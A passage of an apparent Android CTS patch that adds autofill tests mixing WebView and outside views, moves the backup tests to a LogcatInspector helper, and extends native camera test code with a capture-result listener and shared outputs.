final SaveRequest saveRequest = sReplier.getNextSaveRequest();
- final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure, "username");
- final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure, "password");
+ final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_USERNAME);
+ final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_PASSWORD);
if (INJECT_EVENTS) {
Helper.assertTextAndValue(usernameNode2, "dudeu");
Helper.assertTextAndValue(passwordNode2, "sweetp");
@@ -272,4 +294,285 @@
Helper.assertTextAndValue(passwordNode2, "SWEET");
}
}
+
+ @Test
+ public void testAutofillAndSave_withExternalViews_loadWebViewFirst() throws Exception {
+ // Set service.
+ enableService();
+
+ // Load views
+ final MyWebView myWebView = mActivity.loadWebView();
+ mActivity.loadOutsideViews();
+
+ // Set expectations.
+ myWebView.expectAutofill("dude", "sweet");
+ final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
+ mActivity.mOutside1, "duder");
+ final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
+ mActivity.mOutside2, "sweeter");
+ mActivity.mOutside1.addTextChangedListener(outside1Watcher);
+ mActivity.mOutside2.addTextChangedListener(outside2Watcher);
+
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+ HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
+ .addDataset(new CannedDataset.Builder()
+ .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
+ .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
+ .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
+ .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.getUsernameInput(sUiBot).click();
+ final FillRequest fillRequest = sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("USER");
+ final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+ // Assert structure passed to service.
+ final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
+ HTML_NAME_USERNAME);
+ Helper.assertTextIsSanitized(usernameFillNode);
+ assertThat(usernameFillNode.isFocused()).isTrue();
+ assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
+ final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
+ HTML_NAME_PASSWORD);
+ Helper.assertTextIsSanitized(passwordFillNode);
+ assertThat(passwordFillNode.getAutofillHints()).asList()
+ .containsExactly("current-password");
+ assertThat(passwordFillNode.isFocused()).isFalse();
+
+ final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest.structure,
+ ID_OUTSIDE1);
+ Helper.assertTextIsSanitized(outside1FillNode);
+ final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest.structure,
+ ID_OUTSIDE2);
+ Helper.assertTextIsSanitized(outside2FillNode);
+
+ // Move focus around to make sure UI is shown accordingly
+ mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+ callback.assertUiHiddenEvent(myWebView, usernameChildId);
+ sUiBot.assertDatasets("OUT1");
+ callback.assertUiShownEvent(mActivity.mOutside1);
+
+ mActivity.getPasswordInput(sUiBot).click();
+ callback.assertUiHiddenEvent(mActivity.mOutside1);
+ sUiBot.assertDatasets("PASS");
+ final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+ mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+ callback.assertUiHiddenEvent(myWebView, passwordChildId);
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("OUT2");
+ callback.assertUiShownEvent(mActivity.mOutside2);
+
+ // Autofill it.
+ sUiBot.selectDataset(datasetPicker, "OUT2");
+ callback.assertUiHiddenEvent(mActivity.mOutside2);
+
+ myWebView.assertAutofilled();
+ outside1Watcher.assertAutoFilled();
+ outside2Watcher.assertAutoFilled();
+
+ // Now trigger save.
+ if (INJECT_EVENTS) {
+ mActivity.getUsernameInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_U");
+ mActivity.getPasswordInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_P");
+ } else {
+ mActivity.getUsernameInput(sUiBot).setText("DUDE");
+ mActivity.getPasswordInput(sUiBot).setText("SWEET");
+ }
+ mActivity.runOnUiThread(() -> {
+ mActivity.mOutside1.setText("DUDER");
+ mActivity.mOutside2.setText("SWEETER");
+ });
+
+ mActivity.getLoginButton(sUiBot).click();
+
+ // Assert save UI shown.
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ // Assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_USERNAME);
+ final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_PASSWORD);
+ if (INJECT_EVENTS) {
+ Helper.assertTextAndValue(usernameSaveNode, "dudeu");
+ Helper.assertTextAndValue(passwordSaveNode, "sweetp");
+ } else {
+ Helper.assertTextAndValue(usernameSaveNode, "DUDE");
+ Helper.assertTextAndValue(passwordSaveNode, "SWEET");
+ }
+
+ final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+ ID_OUTSIDE1);
+ Helper.assertTextAndValue(outside1SaveNode, "DUDER");
+ final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+ ID_OUTSIDE2);
+ Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
+ }
+
+
+ @Test
+ public void testAutofillAndSave_withExternalViews_loadExternalViewsFirst() throws Exception {
+ if (true) return; // TODO(b/69461853): re-enable once WebView fixes it
+
+ // Set service.
+ enableService();
+
+ // Load outside views
+ mActivity.loadOutsideViews();
+
+ // Set expectations.
+ final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
+ mActivity.mOutside1, "duder");
+ final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
+ mActivity.mOutside2, "sweeter");
+ mActivity.mOutside1.addTextChangedListener(outside1Watcher);
+ mActivity.mOutside2.addTextChangedListener(outside2Watcher);
+
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ sReplier.setIdMode(IdMode.RESOURCE_ID);
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
+ .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+ final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("OUT1");
+ callback.assertUiShownEvent(mActivity.mOutside1);
+
+ // Move focus around to make sure UI is shown accordingly
+ mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+ callback.assertUiHiddenEvent(mActivity.mOutside1);
+ sUiBot.assertDatasets("OUT2");
+ callback.assertUiShownEvent(mActivity.mOutside2);
+
+ // Assert structure passed to service.
+ final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
+ ID_OUTSIDE1);
+ Helper.assertTextIsSanitized(outside1FillNode);
+ final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
+ ID_OUTSIDE2);
+ Helper.assertTextIsSanitized(outside2FillNode);
+
+ // Now load Webiew
+ final MyWebView myWebView = mActivity.loadWebView();
+
+ // Set expectations
+ myWebView.expectAutofill("dude", "sweet");
+ sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+ HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
+ .addDataset(new CannedDataset.Builder()
+ .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
+ .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.getUsernameInput(sUiBot).click();
+ final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+ callback.assertUiHiddenEvent(mActivity.mOutside2);
+ sUiBot.assertDatasets("USER");
+ final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+ // Move focus around to make sure UI is shown accordingly
+ mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+ callback.assertUiHiddenEvent(myWebView, usernameChildId);
+ sUiBot.assertDatasets("OUT1");
+ callback.assertUiShownEvent(mActivity.mOutside1);
+
+ mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+ callback.assertUiHiddenEvent(mActivity.mOutside1);
+ sUiBot.assertDatasets("OUT2");
+ callback.assertUiShownEvent(mActivity.mOutside2);
+
+ mActivity.getPasswordInput(sUiBot).click();
+ callback.assertUiHiddenEvent(mActivity.mOutside2);
+ sUiBot.assertDatasets("PASS");
+ final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+ mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+ callback.assertUiHiddenEvent(myWebView, passwordChildId);
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("OUT2");
+ callback.assertUiShownEvent(mActivity.mOutside2);
+
+ // Assert structure passed to service.
+ final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
+ HTML_NAME_USERNAME);
+ Helper.assertTextIsSanitized(usernameFillNode);
+ assertThat(usernameFillNode.isFocused()).isTrue();
+ assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
+ final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
+ HTML_NAME_PASSWORD);
+ Helper.assertTextIsSanitized(passwordFillNode);
+ assertThat(passwordFillNode.getAutofillHints()).asList()
+ .containsExactly("current-password");
+ assertThat(passwordFillNode.isFocused()).isFalse();
+
+ // Autofill external views (2nd partition)
+ sUiBot.selectDataset(datasetPicker, "OUT2");
+ callback.assertUiHiddenEvent(mActivity.mOutside2);
+ outside1Watcher.assertAutoFilled();
+ outside2Watcher.assertAutoFilled();
+
+ // Autofill Webview (1st partition)
+ mActivity.getUsernameInput(sUiBot).click();
+ callback.assertUiShownEventForVirtualChild(myWebView);
+ sUiBot.selectDataset("USER");
+ myWebView.assertAutofilled();
+
+ // Now trigger save.
+ if (INJECT_EVENTS) {
+ mActivity.getUsernameInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_U");
+ mActivity.getPasswordInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_P");
+ } else {
+ mActivity.getUsernameInput(sUiBot).setText("DUDE");
+ mActivity.getPasswordInput(sUiBot).setText("SWEET");
+ }
+ mActivity.runOnUiThread(() -> {
+ mActivity.mOutside1.setText("DUDER");
+ mActivity.mOutside2.setText("SWEETER");
+ });
+
+ mActivity.getLoginButton(sUiBot).click();
+
+ // Assert save UI shown.
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ // Assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_USERNAME);
+ final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_PASSWORD);
+ if (INJECT_EVENTS) {
+ Helper.assertTextAndValue(usernameSaveNode, "dudeu");
+ Helper.assertTextAndValue(passwordSaveNode, "sweetp");
+ } else {
+ Helper.assertTextAndValue(usernameSaveNode, "DUDE");
+ Helper.assertTextAndValue(passwordSaveNode, "SWEET");
+ }
+
+ final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+ ID_OUTSIDE1);
+ Helper.assertTextAndValue(outside1SaveNode, "DUDER");
+ final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+ ID_OUTSIDE2);
+ Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
index 5d3baca..7165858 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
@@ -17,7 +17,10 @@
import static com.google.common.truth.Truth.assertWithMessage;
+import android.app.PendingIntent;
+import android.content.Context;
import android.content.Intent;
+import android.content.IntentSender;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.test.uiautomator.UiObject2;
@@ -82,4 +85,11 @@
assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
.isEqualTo(expectedMessage);
}
+
+ public static IntentSender createSender(Context context, String message) {
+ final Intent intent = new Intent(context, WelcomeActivity.class);
+ intent.putExtra(EXTRA_MESSAGE, message);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, 0);
+ return pendingIntent.getIntentSender();
+ }
}
diff --git a/tests/backup/AndroidManifest.xml b/tests/backup/AndroidManifest.xml
index 333045a..28745f3 100644
--- a/tests/backup/AndroidManifest.xml
+++ b/tests/backup/AndroidManifest.xml
@@ -20,6 +20,7 @@
<application>
<uses-library android:name="android.test.runner" />
+ <uses-library android:name="org.apache.http.legacy" />
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java b/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
index bbd0d26..343f2d9 100644
--- a/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
+++ b/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
@@ -21,14 +21,14 @@
import android.os.ParcelFileDescriptor;
import android.test.InstrumentationTestCase;
+import com.android.compatibility.common.util.LogcatInspector;
+
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
-import java.util.UUID;
-import java.util.concurrent.TimeUnit;
/**
* Base class for backup instrumentation tests.
@@ -41,9 +41,14 @@
private static final String LOCAL_TRANSPORT =
"android/com.android.internal.backup.LocalTransport";
- private static final int SMALL_LOGCAT_DELAY = 1000;
-
private boolean isBackupSupported;
+ private LogcatInspector mLogcatInspector =
+ new LogcatInspector() {
+ @Override
+ protected InputStream executeShellCommand(String command) throws IOException {
+ return executeStreamedShellCommand(getInstrumentation(), command);
+ }
+ };
@Override
protected void setUp() throws Exception {
@@ -73,55 +78,16 @@
return output.contains("* " + LOCAL_TRANSPORT);
}
- /**
- * Attempts to clear logcat.
- *
- * Clearing logcat is known to be unreliable, so this methods also output a unique separator
- * that can be used to find this point in the log even if clearing failed.
- * @return a unique separator string
- * @throws Exception
- */
- protected String clearLogcat() throws Exception {
- exec("logcat -c");
- String uniqueString = ":::" + UUID.randomUUID().toString();
- exec("log -t " + APP_LOG_TAG + " " + uniqueString);
- return uniqueString;
+ /** See {@link LogcatInspector#mark(String)}. */
+ protected String markLogcat() throws Exception {
+ return mLogcatInspector.mark(APP_LOG_TAG);
}
- /**
- * Wait for up to maxTimeoutInSeconds for the given strings to appear in the logcat in the given order.
- * By passing the separator returned by {@link #clearLogcat} as the first string you can ensure that only
- * logs emitted after that call to clearLogcat are found.
- *
- * @throws AssertionError if the strings are not found in the given time.
- */
+ /** See {@link LogcatInspector#assertLogcatContainsInOrder(String, int, String...)}. */
protected void waitForLogcat(int maxTimeoutInSeconds, String... logcatStrings)
- throws Exception {
- long timeout = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(maxTimeoutInSeconds);
- int stringIndex = 0;
- while (timeout >= System.currentTimeMillis()) {
- FileInputStream fis = executeStreamedShellCommand(getInstrumentation(),
- "logcat -v brief -d " + APP_LOG_TAG + ":* *:S");
- BufferedReader log = new BufferedReader(new InputStreamReader(fis));
- String line;
- stringIndex = 0;
- while ((line = log.readLine()) != null) {
- if (line.contains(logcatStrings[stringIndex])) {
- stringIndex++;
- if (stringIndex >= logcatStrings.length) {
- drainAndClose(log);
- return;
- }
- }
- }
- closeQuietly(log);
- // In case the key has not been found, wait for the log to update before
- // performing the next search.
- Thread.sleep(SMALL_LOGCAT_DELAY);
- }
- fail("Couldn't find " + logcatStrings[stringIndex] +
- (stringIndex > 0 ? " after " + logcatStrings[stringIndex - 1] : "") +
- " within " + maxTimeoutInSeconds + " seconds ");
+ throws Exception {
+ mLogcatInspector.assertLogcatContainsInOrder(
+ APP_LOG_TAG + ":* *:S", maxTimeoutInSeconds, logcatStrings);
}
protected void createTestFileOfSize(String packageName, int size) throws Exception {
@@ -145,8 +111,8 @@
}
}
- private static FileInputStream executeStreamedShellCommand(Instrumentation instrumentation,
- String command) throws Exception {
+ private static FileInputStream executeStreamedShellCommand(
+ Instrumentation instrumentation, String command) throws IOException {
final ParcelFileDescriptor pfd =
instrumentation.getUiAutomation().executeShellCommand(command);
return new ParcelFileDescriptor.AutoCloseInputStream(pfd);
diff --git a/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java b/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
index beefa01..9f81ecd 100644
--- a/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
+++ b/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
@@ -31,7 +31,7 @@
if (!isBackupSupported()) {
return;
}
- String backupSeparator = clearLogcat();
+ String backupSeparator = markLogcat();
// Make sure there's something to backup
createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_CONFORMING_FILE_SIZE);
@@ -45,7 +45,7 @@
"Full backup requested",
"onDestroy");
- String restoreSeparator = clearLogcat();
+ String restoreSeparator = markLogcat();
// Now request restore and wait for it to complete
exec("bmgr restore " + BACKUP_APP_NAME);
diff --git a/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
index 3924e87..56d489d 100644
--- a/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
+++ b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
@@ -36,7 +36,7 @@
if (!isBackupSupported()) {
return;
}
- String separator = clearLogcat();
+ String separator = markLogcat();
// Launch test app and create file exceeding limit for local transport
createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
@@ -59,7 +59,7 @@
Thread.sleep(3000);
} catch (InterruptedException e) {}
- String separator = clearLogcat();
+ String separator = markLogcat();
exec("bmgr backupnow " + BACKUP_APP_NAME);
waitForLogcat(TIMEOUT_SECONDS,separator,
"quota is " + LOCAL_TRANSPORT_BACKUP_QUOTA);
diff --git a/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java b/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
index d957bbc..0bb5243 100644
--- a/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
+++ b/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
@@ -31,7 +31,7 @@
if (!isBackupSupported()) {
return;
}
- String backupSeparator = clearLogcat();
+ String backupSeparator = markLogcat();
// Make sure there's something to backup
createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_CONFORMING_FILE_SIZE);
@@ -44,7 +44,7 @@
"Backup requested",
"onDestroy");
- String restoreSeparator = clearLogcat();
+ String restoreSeparator = markLogcat();
// Now request restore and wait for it to complete
exec("bmgr restore " + BACKUP_APP_NAME);
diff --git a/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java b/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
index c29f810..6fca9ad 100644
--- a/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
+++ b/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
@@ -36,7 +36,7 @@
if (!isBackupSupported()) {
return;
}
- String separator = clearLogcat();
+ String separator = markLogcat();
// Launch test app and create file exceeding limit for local transport
createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
@@ -50,7 +50,7 @@
if (!isBackupSupported()) {
return;
}
- String separator = clearLogcat();
+ String separator = markLogcat();
exec("bmgr backupnow " + BACKUP_APP_NAME);
waitForLogcat(TIMEOUT_SECONDS, separator,
"quota is " + LOCAL_TRANSPORT_BACKUP_QUOTA);
diff --git a/tests/camera/libctscamera2jni/Android.mk b/tests/camera/libctscamera2jni/Android.mk
index 649908d..2cd4f64 100644
--- a/tests/camera/libctscamera2jni/Android.mk
+++ b/tests/camera/libctscamera2jni/Android.mk
@@ -44,7 +44,7 @@
libz \
# NDK build, shared C++ runtime
-LOCAL_SDK_VERSION := 24
+LOCAL_SDK_VERSION := current
LOCAL_NDK_STL_VARIANT := c++_shared
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index b2124ce..166ec86 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -18,9 +18,12 @@
#define LOG_TAG "NativeCamera"
#include <log/log.h>
+#include <chrono>
+#include <condition_variable>
#include <string>
#include <map>
#include <mutex>
+#include <vector>
#include <unistd.h>
#include <assert.h>
#include <jni.h>
@@ -238,6 +241,173 @@
int mOnActive = 0;
};
+class CaptureResultListener {
+ public:
+ ~CaptureResultListener() {
+ std::unique_lock<std::mutex> l(mMutex);
+ clearSavedRequestsLocked();
+ }
+
+ static void onCaptureStart(void* /*obj*/, ACameraCaptureSession* /*session*/,
+ const ACaptureRequest* /*request*/, int64_t /*timestamp*/) {
+ //Not used for now
+ }
+
+ static void onCaptureProgressed(void* /*obj*/, ACameraCaptureSession* /*session*/,
+ ACaptureRequest* /*request*/, const ACameraMetadata* /*result*/) {
+ //Not used for now
+ }
+
+ static void onCaptureCompleted(void* obj, ACameraCaptureSession* /*session*/,
+ ACaptureRequest* request, const ACameraMetadata* result) {
+ ALOGV("%s", __FUNCTION__);
+ if ((obj == nullptr) || (result == nullptr)) {
+ return;
+ }
+ CaptureResultListener* thiz = reinterpret_cast<CaptureResultListener*>(obj);
+ std::lock_guard<std::mutex> lock(thiz->mMutex);
+ ACameraMetadata_const_entry entry;
+ auto ret = ACameraMetadata_getConstEntry(result, ACAMERA_SYNC_FRAME_NUMBER, &entry);
+ if (ret != ACAMERA_OK) {
+ ALOGE("Error: Sync frame number missing from result!");
+ return;
+ }
+
+ if (thiz->mSaveCompletedRequests) {
+ thiz->mCompletedRequests.push_back(ACaptureRequest_copy(request));
+ }
+
+ thiz->mLastCompletedFrameNumber = entry.data.i64[0];
+ thiz->mResultCondition.notify_one();
+ }
+
+ static void onCaptureFailed(void* obj, ACameraCaptureSession* /*session*/,
+ ACaptureRequest* /*request*/, ACameraCaptureFailure* failure) {
+ ALOGV("%s", __FUNCTION__);
+ if ((obj == nullptr) || (failure == nullptr)) {
+ return;
+ }
+ CaptureResultListener* thiz = reinterpret_cast<CaptureResultListener*>(obj);
+ std::lock_guard<std::mutex> lock(thiz->mMutex);
+ thiz->mLastFailedFrameNumber = failure->frameNumber;
+ thiz->mResultCondition.notify_one();
+ }
+
+ static void onCaptureSequenceCompleted(void* obj, ACameraCaptureSession* /*session*/,
+ int sequenceId, int64_t frameNumber) {
+ ALOGV("%s", __FUNCTION__);
+ if (obj == nullptr) {
+ return;
+ }
+ CaptureResultListener* thiz = reinterpret_cast<CaptureResultListener*>(obj);
+ std::lock_guard<std::mutex> lock(thiz->mMutex);
+ thiz->mLastSequenceIdCompleted = sequenceId;
+ thiz->mLastSequenceFrameNumber = frameNumber;
+ thiz->mResultCondition.notify_one();
+ }
+
+ static void onCaptureSequenceAborted(void* /*obj*/, ACameraCaptureSession* /*session*/,
+ int /*sequenceId*/) {
+ //Not used for now
+ }
+
+ static void onCaptureBufferLost(void* obj, ACameraCaptureSession* /*session*/,
+ ACaptureRequest* /*request*/, ANativeWindow* /*window*/, int64_t frameNumber) {
+ ALOGV("%s", __FUNCTION__);
+ if (obj == nullptr) {
+ return;
+ }
+ CaptureResultListener* thiz = reinterpret_cast<CaptureResultListener*>(obj);
+ std::lock_guard<std::mutex> lock(thiz->mMutex);
+ thiz->mLastLostFrameNumber = frameNumber;
+ thiz->mResultCondition.notify_one();
+ }
+
+ int64_t getCaptureSequenceLastFrameNumber(int64_t sequenceId, uint32_t timeoutSec) {
+ int64_t ret = -1;
+ std::unique_lock<std::mutex> l(mMutex);
+
+ while (mLastSequenceIdCompleted != sequenceId) {
+ auto timeout = std::chrono::system_clock::now() +
+ std::chrono::seconds(timeoutSec);
+ if (std::cv_status::timeout == mResultCondition.wait_until(l, timeout)) {
+ break;
+ }
+ }
+
+ if (mLastSequenceIdCompleted == sequenceId) {
+ ret = mLastSequenceFrameNumber;
+ }
+
+ return ret;
+ }
+
+ bool waitForFrameNumber(int64_t frameNumber, uint32_t timeoutSec) {
+ bool ret = false;
+ std::unique_lock<std::mutex> l(mMutex);
+
+ while ((mLastCompletedFrameNumber != frameNumber) &&
+ (mLastLostFrameNumber != frameNumber) &&
+ (mLastFailedFrameNumber != frameNumber)) {
+ auto timeout = std::chrono::system_clock::now() +
+ std::chrono::seconds(timeoutSec);
+ if (std::cv_status::timeout == mResultCondition.wait_until(l, timeout)) {
+ break;
+ }
+ }
+
+ if ((mLastCompletedFrameNumber == frameNumber) ||
+ (mLastLostFrameNumber == frameNumber) ||
+ (mLastFailedFrameNumber == frameNumber)) {
+ ret = true;
+ }
+
+ return ret;
+ }
+
+ void setRequestSave(bool enable) {
+ std::unique_lock<std::mutex> l(mMutex);
+ if (!enable) {
+ clearSavedRequestsLocked();
+ }
+ mSaveCompletedRequests = enable;
+ }
+
+ // The lifecycle of returned ACaptureRequest* is still managed by CaptureResultListener
+ void getCompletedRequests(std::vector<ACaptureRequest*>* out) {
+ std::unique_lock<std::mutex> l(mMutex);
+ *out = mCompletedRequests;
+ }
+
+ void reset() {
+ std::lock_guard<std::mutex> lock(mMutex);
+ mLastSequenceIdCompleted = -1;
+ mLastSequenceFrameNumber = -1;
+ mLastCompletedFrameNumber = -1;
+ mLastLostFrameNumber = -1;
+ mLastFailedFrameNumber = -1;
+ mSaveCompletedRequests = false;
+ clearSavedRequestsLocked();
+ }
+
+ private:
+ std::mutex mMutex;
+ std::condition_variable mResultCondition;
+ int mLastSequenceIdCompleted = -1;
+ int64_t mLastSequenceFrameNumber = -1;
+ int64_t mLastCompletedFrameNumber = -1;
+ int64_t mLastLostFrameNumber = -1;
+ int64_t mLastFailedFrameNumber = -1;
+ bool mSaveCompletedRequests = false;
+ std::vector<ACaptureRequest*> mCompletedRequests;
+
+ void clearSavedRequestsLocked() {
+ for (ACaptureRequest* req : mCompletedRequests) {
+ ACaptureRequest_free(req);
+ }
+ mCompletedRequests.clear();
+ }
+};
class ImageReaderListener {
public:
@@ -401,6 +571,7 @@
// Free all resources except camera manager
void resetCamera() {
mSessionListener.reset();
+ mResultListener.reset();
if (mSession) {
ACameraCaptureSession_close(mSession);
mSession = nullptr;
@@ -502,6 +673,16 @@
return mCameraIdList->cameraIds[idx];
}
+ camera_status_t updateOutput(JNIEnv* env, ACaptureSessionOutput *output) {
+ if (mSession == nullptr) {
+ ALOGE("Testcase cannot update output configuration session %p",
+ mSession);
+ return ACAMERA_ERROR_UNKNOWN;
+ }
+
+ return ACameraCaptureSession_updateSharedOutput(mSession, output);
+ }
+
camera_status_t openCamera(const char* cameraId) {
if (mDevice) {
ALOGE("Cannot open camera before closing previously open one");
@@ -573,7 +754,7 @@
return mPreviewAnw;
}
- camera_status_t createCaptureSessionWithLog() {
+ camera_status_t createCaptureSessionWithLog(bool isPreviewShared = false) {
if (mSession) {
LOG_ERROR(errorString, "Cannot create session before closing existing one");
return ACAMERA_ERROR_UNKNOWN;
@@ -611,7 +792,11 @@
}
if (mPreviewInited) {
- ret = ACaptureSessionOutput_create(mPreviewAnw, &mPreviewOutput);
+ if (isPreviewShared) {
+ ret = ACaptureSessionSharedOutput_create(mPreviewAnw, &mPreviewOutput);
+ } else {
+ ret = ACaptureSessionOutput_create(mPreviewAnw, &mPreviewOutput);
+ }
if (ret != ACAMERA_OK || mPreviewOutput == nullptr) {
LOG_ERROR(errorString,
"Sesssion preview output create fail! ret %d output %p",
@@ -743,15 +928,60 @@
return ACAMERA_OK;
}
- camera_status_t startPreview() {
+ // The output ACaptureRequest* is still managed by testcase class
+ camera_status_t getStillRequest(ACaptureRequest** out) {
+ if (mStillRequest == nullptr) {
+ ALOGE("Camera %s Still capture request hasn't been created", mCameraId);
+ return ACAMERA_ERROR_INVALID_PARAMETER;
+ }
+ *out = mStillRequest;
+ return ACAMERA_OK;
+ }
+
+ camera_status_t startPreview(int *sequenceId = nullptr) {
if (mSession == nullptr || mPreviewRequest == nullptr) {
ALOGE("Testcase cannot start preview: session %p, preview request %p",
mSession, mPreviewRequest);
return ACAMERA_ERROR_UNKNOWN;
}
int previewSeqId;
- return ACameraCaptureSession_setRepeatingRequest(
- mSession, nullptr, 1, &mPreviewRequest, &previewSeqId);
+ camera_status_t ret;
+ if (sequenceId == nullptr) {
